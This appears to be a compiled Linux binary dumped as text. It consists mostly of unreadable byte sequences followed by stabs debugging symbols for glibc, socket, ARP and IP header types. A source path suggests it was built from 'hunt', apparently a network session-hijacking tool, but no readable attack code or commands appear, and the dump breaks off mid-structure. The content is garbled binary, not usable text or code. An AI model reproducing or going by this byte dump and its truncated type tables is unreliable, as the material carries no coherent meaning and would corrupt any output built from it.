@x@(<F!@@BBC@(Gf2ArGGtNc7OP#S5nTTTSUTZZ@Z]\f|tt!tR! .rm!s!zmH !m n#nB!mqr/t!Et`tP   4&H& @a&!{&&&' ) * + , -4 /J 0[$M:yLDMDQ DRDS!DU#DV8DW>DXEDYHDZND[QD]WD^dD]jD_v@LN,@O55v$}$m;yll DmDq DrDs!Du#Dv8Dw>DxEDyHDzND{UD}[D~hD}nDz@l@ln,@o55z$$;f DDD DD+D2D8D=DGDJDPDaDnDuD{DDDDDDD@!@8@v@v@$G$\<f DD DDD D*D;DIDKD[DaDoDvD|DDDDDDDDDDDDDDDD DDD  D&D0D6D>DEDHDODUDXD_DbDmD#sD%~D&D)D+D/D0D15@cX@d@@  $|$7(>v66 D7D; D<D=D>(D@5DA7DC9DDFDELDFNѵ@6c8@9@9F$V$M>vLL DMDQ DRDSDT!DW:DX<DZ>D[MD\SD]Uѵ@LcN@O@OM$]$b>v`` aaDbDeDf Dg0Dh5Di;DjBDkIDlTDmV@`ѵ@`@a@a@c0$[$pOD?UD@\DByDCDBDFDGDHDIDJDLDMDNDODP@*,@66666666666v@@666$E$W0EVfV DWD[ D\D]$D^0DbDcDdDeDfDhDiDjDkcX@Y$X$rFqDrDy DzD|D}D~)D:D?DZDzDDDDDD5@q@sct@u@vpw$$F DD$$FDD$$FfDD DD&D+D1D7DHDUD\DbDhDrDuD{DDDDDDDDDDDDD D  D DDD&D,D2DEDKDRD`D hDxDDDDDDDDDD5@@@@c@8@$$!HD!D"D# D'D(,D)6D*@D+OD,YD-cD$hD%rD.w$y8$1TID1D5D6 D7D9D;-D=/D>:D?@D@VDA`DBmDCwDDDE5@2$P$HIDHDIDJ DK DL-DM7DNADOHDPRDQYDR[DTe$gq$ZDJYDZD^ D` Da Db0Dc<Dd=DeLDg\Dbe?JDDDDDDE KDjDkDlDmDnDpDqDrDsDt%DxIDyPDzcD{gD|pDr~D~DDD[@[@\ѵ@]@^v@b88v@b88eeeeeeeeev@bee6v@rv@rpppppppppv@rpp$$LDDDDD'D.@,@'$5$TLDD DD"D-D3D:DnD~DDDDc@q,@$$MDD DD"D-D7DuDDDDDc@,@$7$MDD D*D<D\DeDDDDDD?NDDDD DE NDD)D@DO?ODWDZDdDqDyE QD>DBDC DE&DF-DG:DH@DIKDKQ,@?@@Q$VH$N(RDNDU DV$D[<D]ZD^lD`DaDcDdDeDgDhDjDkDm.Dn0Do:Dr^Dss?SDDDDDE SDuDvDwDzD{? TDDDDDE .TD}D~DD%D*DVDDDDDDDOR@O`Pv@P`UVW8@X@XYYYs6sss6$$TDD DD#D*DED[D]DjDpDsDvDDDDDDDD@@c,@$$UyDDDDD.D0D:DXD]DcDhDjDo@@@o$v4$DVDDDDD$D/D5,@@5$7P$|VDDD D*D5DBDYD[DdDjDtDDDDDDDD@ѵ@,@r@$$\WDDD DDD:D?DDDIDKDPD TD YD [D`DdDiDkDpDtDyD{DDDDD D"D#D%D&D(D+D,"@1@@$&.@$4X3f3 D4D6 D7D9D<-D=3D?>5@3@3@6"@7>$E$B\XyAA DBDEDF?zXDD!D(D2D:E XDH=DINDJRDK]DMdDNqDOxDQ~DR@A@A@C6$ $UXyTDUD] D^D_"Da,Db3Dc6DeGDflDhDiDjDkDlDnDoDqDeDsDtDvDw!Dx,Dy,D|1@TV"W1X5@Y@Zo[1$9G$ Zy~DD DD*D4D;DgDqD|DD@~a@$$Z8DDD $$ZyDDD!D0D:DDDNDS$U$[yDDD%D/D9DKDRDaDoDyDDDDDDDDDDDDDD D&@t"@&$1$H\DDDDD%D,D.$0("/($B(%V(dx\(d\jd\$<3b|%q 3Xr .X?F$f~A!! G &A(/ڄo!?!q""*+*"+Ԥ!13+C49-=,~ @x@(<F!@@BBC@(Gf2ArGGtNc7OP#S5nTTTSUTZZ@Z]\f.rm!s!|tt!tR! /t!Et`tzmH !m n#nB!mqrs&&Lb$$\#f# D$D% D&D)D*7D,]D-cD/n5@#@#@%"@&v@)v@)v@*7:v@*::n$v{$2\1f1 D2D7 D8D:D;D<:D=YD>_D@j5@1@3U@5v@;v@;v@<:<v@<<<j$q$Cl]BB BBDCDL DMDNDO5DREDSdDTmDUsDXDYDZD[D]D^DQDPDbDc)Dd2DeHDhTDi]DmDnDoDpDqDrDsDtDNDvDw'@D5@EF"GU@H@H@Jv@PEEv@PEEv@REEv@REE@X@]v@Qv@mv@m$/$z_?yy DzD} D~DDD$D,D3D6D?U@y@yI{$A $_ 4DD DDD@DPDoDxD~DDDDDDDDDDDiDDDDDDDDDDEU@M\"v@JJv@JJv@PPv@PPv@v@ilv@ll$s$a DD DD,DNDaDdDD@@@@v@v@v@dddddddddv@dd$$b DD DD,DJD]D`D{D@@@@v@v@v@`````````v@``{$$8cDD D6D\D}DDDDDDDDDDDDDDDD$D'D5DBDMDZD cD fD DDDDDDDDDDDDDDD (D!AD"HD#KD$YD%eD&pD(}D)D,D.D/D0D1D2D3D4D5D7 D8D;D<D=%D>-D?5D@;&&@);@6L@W{v@\^v@^^^^^^^^^^;$Fd~f(dfdf$<3b|%q 3Xr .X?F$f~A!! G &A(/ڄo!?!q""*+*"+Ԥ!13+C49-=,~ @x@(<F!@@BBC@(Gf2ArGGtNc7OP#S5nTTTSUTZZ@Z]\fzmH !m n#nB!mqr.rm!s!/t!Et`t|tt!tR!  $fv DDDDD0D8D$vD(D)D+D,D-D.D/@c@@$ $2tg1$1 D2D3 D4@1@1$0$7gD7D:D;D<-D=8D>>D?ED@LDASDBZDCaDDhDEoDFz@8-------$Q$IhQHnH DIDMDN&DO=DQoDU@HzJJK$$XhDXD[D] D^D_$D`,Da<DbADcNDdTcY@Z,@[N$[ $hiDhDp Ds9DvoDyDzD{D|D}D~DDDDDDD0D:jpjhkt$kl(lLlxmd:$Ep$`jDD DDDD\DDDDDDDDDDD#D-@pht$lx@-$8$kDDD D(D/D9DFDPDV,@@V$[dk(dldl$<3b|%q 3Xr .X?F$f~A!! G &A(/ڄo!?!q""*+*"+Ԥ!13+C49-=,~ @x@(<F!@@BBC@(Gf2ArGGtNc7OP#S5nTTTSUTZZ@Z]\fzmH !m n#nB!mqr/t!Et`t.r!.rm!s! $lDDD)D8D:D@D!ED"jD$vD%xD'D,D-D.>@$@/@$:$1lD1D5 D6D8.D9ET2s3xE$M$<lD<D=D@7DAADCHDHR$T$KD?D@1DA7DB>DC@DD\DEbDFdDGzH&@8c: &@;z$}&$Jy.I&I DJDNDODP'DQ.DRADSJDTZDU]DVcDXm &@I&K&@Lm$w&$[*C0*HH*M^*_t*d*m*n*r!***+%+<+S+j+++++ G &A(+,, /7,,,o!!q"",s(-[----1.)k.../*+*"+Ԥ!3+C4*/a///S6666!0Q0000;1z111!2`22292,3o33374v4445Y5556N666=~7M777778e8??? @88@(<F!@@BBC@(Gf2ArGGeNc7OP#S5nTTTSUTZZ1Z]\f9 9 09 E9 _9 x9 9 9$9DD D!D"D#D$'D%0D'GD(ND*PD+QD,`D-fD.oD/~D1D2D3D4D>D?9,@j99@$9$B9ADBDCDDDEDF+DG59@A$: :$J9I&:I DJDMDNDO DP3DQ99@I4:@IB:K$AL:$T$9Sp:S DTDXDYDZ0D[ED\KD]D^9@S~:@SB:U@V:@V$:$a9`DaDbDcDdDe6DfADgKDhU9@`$Z:$l:kDlDr DsDt"Du,Dv8DwCDxNDzzD{D|D}DDDDDDDDDDDDDDD D/D2DSD]DgDqDs9@mB:n:o@pS${:$DDDD$$&:$DDD DD!D(DWDa$c ; d(d ;d $<3b|%q 3Xr .X?F$f~A!! G &A(/ڄo!?!q""*+*"+Ԥ!13+C49-=,~ @x@(<F!@@BBC@(Gf2ArGGtNc7OP#S5nTTTSUTZZ@Z]\flyzmH !m n#nB!mqr/t!Et`t.r!.rm!s!|tt!tR! );>;X;;;<D<<<===&5P=$8 `=7D8D9D: D;D<k=@7$v=$?<`=>D?D@DA DBDC*DD0k=@>$5=$Gt`=FDGDHDIDJDK,DL2k=@F$9=$ODODRDSDT0DU>DVFDWQDX[DY]k=@P000$b=$\`=[D\D]D^ D_D`Da)Db2Dc<DdEDeKk=@[$P=$xdwDxD| D}D~$Dj,Dk,Dl5Dn;DuDDDDDDDcyk=@zk=@,@l@k,$=$ `= DDDDD D'D0DIDSDeDkk=@@k$r=$y DD DDD'D+D2D7D:D@DB5@k=@@B$J>$Q`= DDD&DCDvDDDDDDk=@*>S>|>$>$DDD DD D(D8D=DJDPck=@,@J$W>$8DD DDCDyDD`tD D5D6;DDDDD  D D D VD]DfDoDuDDDDDDDDDDDDD!D#(D$:k=@$3Wx>>?(?6?:$EF?$'D'D1 D2D3D5ND7fD;D?DADBDDDEDGDIDKDL#DOJ`t݋D ]D5]D6g;DQpDR}DSDTDYDZD\D]D^D_D`DaDbDcDdDe%Df/Dg2Dh<DiBDjLDlODncDomDqpDrzDsDtDvDxDzk=@())*$*]?+?+x?,?,@-?@.(?/6?/JJJJJJJJJJ]]$?$}8D}DDD%D,D7D=,@~k=@=$?@$xDDD DDD=DBDHDMDODTDXD]D_DaDe"@1@@e$mdinit.c/usr/src/bs/BUILD/glibc/csu/gcc2_compiled.int:t(0,1)=r(0,1);0020000000000;0017777777777;char:t(0,2)=r(0,2);0;127;long int:t(0,3)=r(0,1);0020000000000;0017777777777;unsigned int:t(0,4)=r(0,1);0000000000000;0037777777777;long unsigned int:t(0,5)=r(0,1);0000000000000;0037777777777;long long int:t(0,6)=r(0,1);01000000000000000000000;0777777777777777777777;long long unsigned int:t(0,7)=r(0,1);0000000000000;01777777777777777777777;short int:t(0,8)=r(0,8);-32768;32767;short unsigned int:t(0,9)=r(0,9);0;65535;signed char:t(0,10)=r(0,10);-128;127;unsigned char:t(0,11)=r(0,11);0;255;float:t(0,12)=r(0,1);4;0;double:t(0,13)=r(0,1);8;0;long double:t(0,14)=r(0,1);12;0;complex int:t(0,15)=s8real:(0,1),0,32;imag:(0,1),32,32;;complex float:t(0,16)=r(0,16);4;0;complex double:t(0,17)=r(0,17);8;0;complex long double:t(0,18)=r(0,18);12;0;void:t(0,19)=(0,19)../include/libc-symbols.h/usr/src/bs/BUILD/glibc/build-i386-linux/config.h../include/libintl.h../intl/libintl.h../include/features.h../include/sys/cdefs.h../misc/sys/cdefs.h/usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/include/stddef.h../include/locale.h../locale/locale.hlconv:T(10,1)=s48decimal_point:(10,2)=*(0,2),0,32;thousands_sep:(10,2),32,32;\grouping:(10,2),64,32;int_curr_symbol:(10,2),96,32;\currency_symbol:(10,2),128,32;mon_decimal_point:(10,2),160,32;\mon_thousands_sep:(10,2),192,32;mon_grouping:(10,2),224,32;\positive_sign:(10,2),256,32;negative_sign:(10,2),288,32;\int_frac_digits:(0,2),320,8;frac_digits:(0,2),328,8;\p_cs_precedes:(0,2),336,8;p_sep_by_space:(0,2),344,8;\n_cs_precedes:(0,2),352,8;n_sep_by_space:(0,2),360,8;\p_sign_posn:(0,2),368,8;n_sign_posn:(0,2),376,8;;../include/xlocale.h../locale/xlocale.h__locale_struct:T(13,1)=s36__locales:(13,2)=ar(0,1);0;5;(13,3)=*(13,4)=xslocale_data:,0,192;\__ctype_b:(13,5)=*(0,9),192,32;__ctype_tolower:(13,6)=*(0,1),224,32;\__ctype_toupper:(13,6),256,32;;__locale_t:t(13,7)=(13,8)=*(13,1)../sysdeps/unix/sysv/linux/_G_config.h../sysdeps/unix/sysv/linux/bits/types.hsize_t:t(16,1)=(0,4)__u_char:t(15,1)=(0,11)__u_short:t(15,2)=(0,9)__u_int:t(15,3)=(0,4)__u_long:t(15,4)=(0,5)__u_quad_t:t(15,5)=(0,7)__quad_t:t(15,6)=(0,6)__int8_t:t(15,7)=(0,10)__uint8_t:t(15,8)=(0,11)__int16_t:t(15,9)=(0,8)__uint16_t:t(15,10)=(0,9)__int32_t:t(15,11)=(0,1)__uint32_t:t(15,12)=(0,4)__int64_t:t(15,13)=(0,6)__uint64_t:t(15,14)=(0,7)__qaddr_t:t(15,15)=(15,16)=*(15,6)__dev_t:t(15,17)=(15,5)__uid_t:t(15,18)=(15,3)__gid_t:t(15,19)=(15,3)__ino_t:t(15,20)=(15,4)__mode_t:t(15,21)=(15,3)__nlink_t:t(15,22)=(15,3)__off_t:t(15,23)=(0,3)__loff_t:t(15,24)=(15,6)__pid_t:t(15,25)=(0,1)__ssize_t:t(15,26)=(0,1)__rlim_t:t(15,27)=(0,3)__rlim64_t:t(15,28)=(15,6)__id_t:t(15,29)=(15,3)__fsid_t:t(15,30)=(15,31)=s8__val:(15,32)=ar(0,1);0;1;(0,1),0,64;;__daddr_t:t(15,33)=(0,1)__caddr_t:t(15,34)=(10,2)__time_t:t(15,35)=(0,3)__swblk_t:t(15,36)=(0,3)__clock_t:t(15,37)=(0,3)__fd_mask:t(15,38)=(0,5)__fd_set:t(15,39)=(15,40)=s128fds_bits:(15,41)=ar(0,1);0;31;(15,38),0,1024;;__key_t:t(15,42)=(0,1)__ipc_pid_t:t(15,43)=(0,9)__blkcnt_t:t(15,44)=(15,4)__blkcnt64_t:t(15,45)=(15,5)__fsblkcnt_t:t(15,46)=(0,3)__fsblkcnt64_t:t(15,47)=(15,6)__fsfilcnt_t:t(15,48)=(15,4)__fsfilcnt64_t:t(15,49)=(15,5)__ino64_t:t(15,50)=(15,4)__off64_t:t(15,51)=(15,24)__t_scalar_t:t(15,52)=(0,1)__t_uscalar_t:t(15,53)=(0,4)__intptr_t:t(15,54)=(0,1)../linuxthreads/sysdeps/pthread/bits/pthreadtypes.h../sysdeps/unix/sysv/linux/bits/sched.h__sched_param:T(18,1)=s4sched_priority:(0,1),0,32;;_pthread_fastlock:T(17,1)=s8__status:(0,3),0,32;__spinlock:(0,1),32,32;;_pthread_descr:t(17,2)=(17,3)=*(17,4)=xs_pthread_descr_struct:pthread_attr_t:t(17,5)=(17,6)=s36__detachstate:(0,1),0,32;\__schedpolicy:(0,1),32,32;__schedparam:(18,1),64,32;\__inheritsched:(0,1),96,32;__scope:(0,1),128,32;\__guardsize:(16,1),160,32;__stackaddr_set:(0,1),192,32;\__stackaddr:(17,7)=*(0,19),224,32;__stacksize:(16,1),256,32;;pthread_cond_t:t(17,8)=(17,9)=s12__c_lock:(17,1),0,64;\__c_waiting:(17,2),64,32;;pthread_condattr_t:t(17,10)=(17,11)=s4__dummy:(0,1),0,32;;pthread_key_t:t(17,12)=(0,4)pthread_mutex_t:t(17,13)=(17,14)=s24__m_reserved:(0,1),0,32;\__m_count:(0,1),32,32;__m_owner:(17,2),64,32;\__m_kind:(0,1),96,32;__m_lock:(17,1),128,64;;pthread_mutexattr_t:t(17,15)=(17,16)=s4__mutexkind:(0,1),0,32;;pthread_once_t:t(17,17)=(0,1)pthread_rwlock_t:t(17,18)=(17,19)=s32__rw_lock:(17,1),0,64;\__rw_readers:(0,1),64,32;__rw_writer:(17,2),96,32;\__rw_read_waiting:(17,2),128,32;__rw_write_waiting:(17,2),160,32;\__rw_kind:(0,1),192,32;__rw_pshared:(0,1),224,32;;pthread_rwlockattr_t:t(17,20)=(17,21)=s8__lockkind:(0,1),0,32;\__pshared:(0,1),32,32;;pthread_t:t(17,22)=(0,5)wchar_t:t(19,1)=(0,3)wint_t:t(19,2)=(0,4)_G_int16_t:t(14,1)=(0,8)_G_int32_t:t(14,2)=(0,1)_G_uint16_t:t(14,3)=(0,9)_G_uint32_t:t(14,4)=(0,4)_IO_stdin_used:G(0,1)/root/hunt-1.4/hunt.chunt.h/usr/include/netinet/if_ether.h/usr/include/features.h/usr/include/sys/cdefs.h/usr/include/gnu/stubs.h/usr/include/sys/types.h/usr/include/bits/types.h__u_char:t(7,1)=(0,11)__u_short:t(7,2)=(0,9)__u_int:t(7,3)=(0,4)__u_long:t(7,4)=(0,5)__u_quad_t:t(7,5)=(0,7)__quad_t:t(7,6)=(0,6)__int8_t:t(7,7)=(0,10)__uint8_t:t(7,8)=(0,11)__int16_t:t(7,9)=(0,8)__uint16_t:t(7,10)=(0,9)__int32_t:t(7,11)=(0,1)__uint32_t:t(7,12)=(0,4)__int64_t:t(7,13)=(0,6)__uint64_t:t(7,14)=(0,7)__qaddr_t:t(7,15)=(7,16)=*(7,6)__dev_t:t(7,17)=(7,5)__uid_t:t(7,18)=(7,3)__gid_t:t(7,19)=(7,3)__ino_t:t(7,20)=(7,4)__mode_t:t(7,21)=(7,3)__nlink_t:t(7,22)=(7,3)__off_t:t(7,23)=(0,3)__loff_t:t(7,24)=(7,6)__pid_t:t(7,25)=(0,1)__ssize_t:t(7,26)=(0,1)__rlim_t:t(7,27)=(0,3)__rlim64_t:t(7,28)=(7,6)__id_t:t(7,29)=(7,3)__fsid_t:t(7,30)=(7,31)=s8__val:(7,32)=ar(0,1);0;1;(0,1),0,64;;__daddr_t:t(7,33)=(0,1)__caddr_t:t(7,34)=(7,35)=*(0,2)__time_t:t(7,36)=(0,3)__swblk_t:t(7,37)=(0,3)__clock_t:t(7,38)=(0,3)__fd_mask:t(7,39)=(0,5)__fd_set:t(7,40)=(7,41)=s128__fds_bits:(7,42)=ar(0,1);0;31;(7,39),0,1024;;__key_t:t(7,43)=(0,1)__ipc_pid_t:t(7,44)=(0,9)__blkcnt_t:t(7,45)=(7,4)__blkcnt64_t:t(7,46)=(7,5)__fsblkcnt_t:t(7,47)=(0,3)__fsblkcnt64_t:t(7,48)=(7,6)__fsfilcnt_t:t(7,49)=(7,4)__fsfilcnt64_t:t(7,50)=(7,5)__ino64_t:t(7,51)=(7,4)__off64_t:t(7,52)=(7,24)__t_scalar_t:t(7,53)=(0,1)__t_uscalar_t:t(7,54)=(0,4)__intptr_t:t(7,55)=(0,1)u_char:t(6,1)=(7,1)u_short:t(6,2)=(7,2)u_int:t(6,3)=(7,3)u_long:t(6,4)=(7,4)quad_t:t(6,5)=(7,6)u_quad_t:t(6,6)=(7,5)fsid_t:t(6,7)=(7,30)loff_t:t(6,8)=(7,24)ino_t:t(6,9)=(7,20)dev_t:t(6,10)=(7,17)gid_t:t(6,11)=(7,19)mode_t:t(6,12)=(7,21)nlink_t:t(6,13)=(7,22)uid_t:t(6,14)=(7,18)off_t:t(6,15)=(7,23)pid_t:t(6,16)=(7,25)id_t:t(6,17)=(7,29)ssize_t:t(6,18)=(7,26)daddr_t:t(6,19)=(7,33)caddr_t:t(6,20)=(7,34)key_t:t(6,21)=(7,43)/usr/include/time.htime_t:t(9,1)=(7,36)ulong:t(6,22)=(0,5)ushort:t(6,23)=(0,9)uint:t(6,24)=(0,4)int8_t:t(6,25)=(0,10)int16_t:t(6,26)=(0,8)int32_t:t(6,27)=(0,1)int64_t:t(6,28)=(0,6)u_int8_t:t(6,29)=(0,11)u_int16_t:t(6,30)=(0,9)u_int32_t:t(6,31)=(0,4)u_int64_t:t(6,32)=(0,7)register_t:t(6,33)=(0,1)/usr/include/endian.h/usr/include/bits/endian.h/usr/include/sys/select.h/usr/include/bits/select.h/usr/include/bits/sigset.h__sig_atomic_t:t(15,1)=(0,1)__sigset_t:t(15,2)=(15,3)=s128__val:(15,4)=ar(0,1);0;31;(0,5),0,1024;;timespec:T(16,1)=s8tv_sec:(0,3),0,32;tv_nsec:(0,3),32,32;;fd_mask:t(13,1)=(7,39)fd_set:t(13,2)=(7,40)/usr/include/sys/sysmacros.hblkcnt_t:t(6,34)=(7,45)fsblkcnt_t:t(6,35)=(7,47)fsfilcnt_t:t(6,36)=(7,49)/usr/include/linux/if_ether.hethhdr:T(18,1)=s14h_dest:(18,2)=ar(0,1);0;5;(0,11),0,48;\h_source:(18,2),48,48;h_proto:(0,9),96,16;;/usr/include/net/ethernet.hether_addr:T(19,1)=s6ether_addr_octet:(19,2)=ar(0,1);0;5;(6,29),0,48;;ether_header:T(19,3)=s14ether_dhost:(19,2),0,48;ether_shost:(19,2),48,48;\ether_type:(6,30),96,16;;/usr/include/net/if_arp.h/usr/include/sys/socket.h/usr/include/bits/socket.hsocklen_t:t(23,1)=(0,4)__socket_type:T(23,2)=eSOCK_STREAM:1,SOCK_DGRAM:2,\SOCK_RAW:3,SOCK_RDM:4,SOCK_SEQPACKET:5,\SOCK_PACKET:10,;/usr/include/bits/sockaddr.hsa_family_t:t(25,1)=(0,9)sockaddr:T(23,3)=s16sa_family:(25,1),0,16;sa_data:(23,4)=ar(0,1);0;13;(0,2),16,112;; :T(23,5)=eMSG_OOB:1,MSG_PEEK:2,MSG_DONTROUTE:4,\MSG_CTRUNC:8,MSG_PROXY:16,;msghdr:T(23,6)=s28msg_name:(23,7)=*(0,19),0,32;msg_namelen:(23,1),32,32;\msg_iov:(23,8)=*(23,9)=xsiovec:,64,32;msg_iovlen:(8,1),96,32;\msg_control:(23,7),128,32;msg_controllen:(8,1),160,32;\msg_flags:(0,1),192,32;;cmsghdr:T(23,10)=s12cmsg_len:(8,1),0,32;cmsg_level:(0,1),32,32;\cmsg_type:(0,1),64,32;__cmsg_data:(23,11)=ar(0,1);0;-1;(0,11),96,0;; :T(23,12)=eSCM_RIGHTS:1,SCM_CREDENTIALS:2,__SCM_CONNECT:3,;ucred:T(23,13)=s12pid:(6,16),0,32;uid:(6,14),32,32;\gid:(6,11),64,32;;/usr/include/asm/socket.h/usr/include/asm/sockios.hlinger:T(23,14)=s8l_onoff:(0,1),0,32;l_linger:(0,1),32,32;;osockaddr:T(21,1)=s16sa_family:(0,9),0,16;sa_data:(21,2)=ar(0,1);0;13;(0,11),16,112;;__SOCKADDR_ARG:t(21,3)=(21,4)=u4__sockaddr__:(21,5)=*(23,3),0,32;\__sockaddr_at__:(21,6)=*(21,7)=xssockaddr_at:,0,32;__sockaddr_ax25__:(21,8)=*(21,9)=xssockaddr_ax25:,0,32;\__sockaddr_dl__:(21,10)=*(21,11)=xssockaddr_dl:,0,32;__sockaddr_eon__:(21,12)=*(21,13)=xssockaddr_eon:,0,32;\__sockaddr_in__:(21,14)=*(21,15)=xssockaddr_in:,0,32;__sockaddr_in6__:(21,16)=*(21,17)=xssockaddr_in6:,0,32;\__sockaddr_inarp__:(21,18)=*(21,19)=xssockaddr_inarp:,0,32;__sockaddr_ipx__:(21,20)=*(21,21)=xssockaddr_ipx:,0,32;\__sockaddr_iso__:(21,22)=*(21,23)=xssockaddr_iso:,0,32;__sockaddr_ns__:(21,24)=*(21,25)=xssockaddr_ns:,0,32;\__sockaddr_un__:(21,26)=*(21,27)=xssockaddr_un:,0,32;__sockaddr_x25__:(21,28)=*(21,29)=xssockaddr_x25:,0,32;;__CONST_SOCKADDR_ARG:t(21,30)=(21,31)=u4__sockaddr__:(21,32)=*(23,3),0,32;\__sockaddr_at__:(21,33)=*(21,7),0,32;__sockaddr_ax25__:(21,34)=*(21,9),0,32;\__sockaddr_dl__:(21,35)=*(21,11),0,32;__sockaddr_eon__:(21,36)=*(21,13),0,32;\__sockaddr_in__:(21,37)=*(21,15),0,32;__sockaddr_in6__:(21,38)=*(21,17),0,32;\__sockaddr_inarp__:(21,39)=*(21,19),0,32;__sockaddr_ipx__:(21,40)=*(21,21),0,32;\__sockaddr_iso__:(21,41)=*(21,23),0,32;__sockaddr_ns__:(21,42)=*(21,25),0,32;\__sockaddr_un__:(21,43)=*(21,27),0,32;__sockaddr_x25__:(21,44)=*(21,29),0,32;;arphdr:T(20,1)=s8ar_hrd:(0,9),0,16;ar_pro:(0,9),16,16;\ar_hln:(0,11),32,8;ar_pln:(0,11),40,8;ar_op:(0,9),48,16;;arpreq:T(20,2)=s68arp_pa:(23,3),0,128;arp_ha:(23,3),128,128;\arp_flags:(0,1),256,32;arp_netmask:(23,3),288,128;\arp_dev:(20,3)=ar(0,1);0;15;(0,2),416,128;;arpreq_old:T(20,4)=s52arp_pa:(23,3),0,128;arp_ha:(23,3),128,128;\arp_flags:(0,1),256,32;arp_netmask:(23,3),288,128;;arpd_request:T(20,5)=s28req:(0,9),0,16;ip:(6,31),32,32;\dev:(0,5),64,32;stamp:(0,5),96,32;updated:(0,5),128,32;\ha:(20,6)=ar(0,1);0;6;(0,11),160,56;;ether_arp:T(2,1)=s28ea_hdr:(20,1),0,64;arp_sha:(19,2),64,48;\arp_spa:(2,2)=ar(0,1);0;3;(6,29),112,32;arp_tha:(19,2),144,48;\arp_tpa:(2,2),192,32;;/usr/include/netinet/ip.h/usr/include/netinet/in.h/usr/include/stdint.hwchar_t:t(31,1)=(0,3)uint8_t:t(30,1)=(0,11)uint16_t:t(30,2)=(0,9)uint32_t:t(30,3)=(0,4)uint64_t:t(30,4)=(0,7)int_least8_t:t(30,5)=(0,10)int_least16_t:t(30,6)=(0,8)int_least32_t:t(30,7)=(0,1)int_least64_t:t(30,8)=(0,6)uint_least8_t:t(30,9)=(0,11)uint_least16_t:t(30,10)=(0,9)uint_least32_t:t(30,11)=(0,4)uint_least64_t:t(30,12)=(0,7)int_fast8_t:t(30,13)=(0,10)int_fast16_t:t(30,14)=(0,1)int_fast32_t:t(30,15)=(0,1)int_fast64_t:t(30,16)=(0,6)uint_fast8_t:t(30,17)=(0,11)uint_fast16_t:t(30,18)=(0,4)uint_fast32_t:t(30,19)=(0,4)uint_fast64_t:t(30,20)=(0,7)intptr_t:t(30,21)=(0,1)uintptr_t:t(30,22)=(0,4)intmax_t:t(30,23)=(0,6)uintmax_t:t(30,24)=(0,7) :T(29,1)=eIPPROTO_IP:0,IPPROTO_HOPOPTS:0,IPPROTO_ICMP:1,\IPPROTO_IGMP:2,IPPROTO_IPIP:4,IPPROTO_TCP:6,\IPPROTO_EGP:8,IPPROTO_PUP:12,IPPROTO_UDP:17,\IPPROTO_IDP:22,IPPROTO_TP:29,IPPROTO_IPV6:41,\IPPROTO_ROUTING:43,IPPROTO_FRAGMENT:44,IPPROTO_RSVP:46,\IPPROTO_GRE:47,IPPROTO_ESP:50,IPPROTO_AH:51,\IPPROTO_ICMPV6:58,IPPROTO_NONE:59,IPPROTO_DSTOPTS:60,\IPPROTO_MTP:92,IPPROTO_ENCAP:98,IPPROTO_PIM:103,\IPPROTO_RAW:255,IPPROTO_MAX:256,; :T(29,2)=eIPPORT_ECHO:7,IPPORT_DISCARD:9,IPPORT_SYSTAT:11,\IPPORT_DAYTIME:13,IPPORT_NETSTAT:15,IPPORT_FTP:21,\IPPORT_TELNET:23,IPPORT_SMTP:25,IPPORT_TIMESERVER:37,\IPPORT_NAMESERVER:42,IPPORT_WHOIS:43,IPPORT_MTP:57,\IPPORT_TFTP:69,IPPORT_RJE:77,IPPORT_FINGER:79,\IPPORT_TTYLINK:87,IPPORT_SUPDUP:95,IPPORT_EXECSERVER:512,\IPPORT_LOGINSERVER:513,IPPORT_CMDSERVER:514,IPPORT_EFSSERVER:520,\IPPORT_BIFFUDP:512,IPPORT_WHOSERVER:513,IPPORT_ROUTESERVER:520,\IPPORT_RESERVED:1024,IPPORT_USERRESERVED:5000,;in_addr:T(29,3)=s4s_addr:(30,3),0,32;;in6_addr:T(29,4)=s16in6_u:(29,5)=u16u6_addr8:(29,6)=ar(0,1);0;15;(30,1),0,128;\u6_addr16:(29,7)=ar(0,1);0;7;(30,2),0,128;u6_addr32:(29,8)=ar(0,1);0;3;(30,3),0,128;\u6_addr64:(29,9)=ar(0,1);0;1;(30,4),0,128;;,0,128;;sockaddr_in:T(21,15)=s16sin_family:(25,1),0,16;sin_port:(30,2),16,16;\sin_addr:(29,3),32,32;sin_zero:(29,10)=ar(0,1);0;7;(0,11),64,64;;sockaddr_in6:T(21,17)=s24sin6_family:(25,1),0,16;sin6_port:(30,2),16,16;\sin6_flowinfo:(30,3),32,32;sin6_addr:(29,4),64,128;;ipv6_mreq:T(29,11)=s20ipv6mr_multiaddr:(29,4),0,128;ipv6mr_interface:(0,4),128,32;;/usr/include/bits/in.hip_opts:T(32,1)=s44ip_dst:(29,3),0,32;ip_opts:(32,2)=ar(0,1);0;39;(0,2),32,320;;ip_mreq:T(32,3)=s8imr_multiaddr:(29,3),0,32;imr_interface:(29,3),32,32;;ip_mreqn:T(32,4)=s12imr_multiaddr:(29,3),0,32;imr_address:(29,3),32,32;\imr_ifindex:(0,1),64,32;;/usr/include/bits/byteswap.hin6_pktinfo:T(29,12)=s20ipi6_addr:(29,4),0,128;ipi6_ifindex:(0,4),128,32;;timestamp:T(28,1)=s40len:(6,29),0,8;ptr:(6,29),8,8;\flags:(0,4),16,4;overflow:(0,4),20,4;data:(28,2)=ar(0,1);0;8;(6,31),32,288;;ip_options:T(28,3)=s12faddr:(6,31),0,32;optlen:(6,29),32,8;\srr:(6,29),40,8;rr:(6,29),48,8;ts:(6,29),56,8;\is_setbyuser:(0,4),64,1;is_data:(0,4),65,1;\is_strictroute:(0,4),66,1;srr_is_hit:(0,4),67,1;\is_changed:(0,4),68,1;rr_needaddr:(0,4),69,1;\ts_needtime:(0,4),70,1;ts_needaddr:(0,4),71,1;\router_alert:(6,29),72,8;__pad1:(6,29),80,8;\__pad2:(6,29),88,8;__data:(28,4)=ar(0,1);0;-1;(6,29),96,0;;iphdr:T(28,5)=s20ihl:(0,4),0,4;version:(0,4),4,4;\tos:(6,29),8,8;tot_len:(6,30),16,16;id:(6,30),32,16;\frag_off:(6,30),48,16;ttl:(6,29),64,8;protocol:(6,29),72,8;\check:(6,30),80,16;saddr:(6,31),96,32;daddr:(6,31),128,32;;ip:T(28,6)=s20ip_hl:(0,4),0,4;ip_v:(0,4),4,4;\ip_tos:(6,29),8,8;ip_len:(6,2),16,16;ip_id:(6,2),32,16;\ip_off:(6,2),48,16;ip_ttl:(6,29),64,8;ip_p:(6,29),72,8;\ip_sum:(6,2),80,16;ip_src:(29,3),96,32;ip_dst:(29,3),128,32;;ip_timestamp:T(28,7)=s40ipt_code:(6,29),0,8;ipt_len:(6,29),8,8;\ipt_ptr:(6,29),16,8;ipt_flg:(0,4),24